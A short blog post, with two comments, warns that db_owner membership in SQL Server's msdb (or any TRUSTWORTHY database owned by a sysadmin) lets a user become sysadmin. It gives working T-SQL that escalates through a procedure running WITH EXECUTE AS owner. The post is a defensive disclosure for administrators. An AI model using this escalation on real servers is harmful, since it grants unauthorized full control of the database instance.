db_owner in msdb == sysadmin
2May 6, 2019 by Kenneth Fisher
This doesn’t require much in the way discussion. This isn’t exactly a huge issue since I don’t think granting db_owner in msdb happens a whole lot, but still. Consider yourself warned.
I should add, this will work on any database that has trustworthy turned on and the dbo is a sysadmin. Oh, and my understanding is that msdb needs both an owner that is sysadmin (sa) and be trustworthy.
CREATE LOGIN ImpersonationTest WITH PASSWORD ='test', CHECK_POLICY = OFF; GO USE msdb GO CREATE USER ImpersonationTest FROM LOGIN ImpersonationTest; GO ALTER ROLE db_owner ADD MEMBER ImpersonationTest; GO
Connect as ImpersonationTest
USE msdb GO CREATE PROCEDURE dbo.sysadminMe WITH EXECUTE AS owner AS ALTER SERVER ROLE sysadmin ADD MEMBER ImpersonationTest; GO EXEC dbo.sysadminMe; GO SELECT * FROM sys.login_token;
I guess one addition to the best practices check programs out there…check for db_owner on msdb – don’t be too surprised to find this one out there in the wild…who would know about the Agent-Operator-roles in any case…? 😉
[…] I mean I know it’s a system database, but it really feels like a user database at times. Why do I care? Security. If you are granting people access to msdb you need to be extra careful even beyond db_owner. […]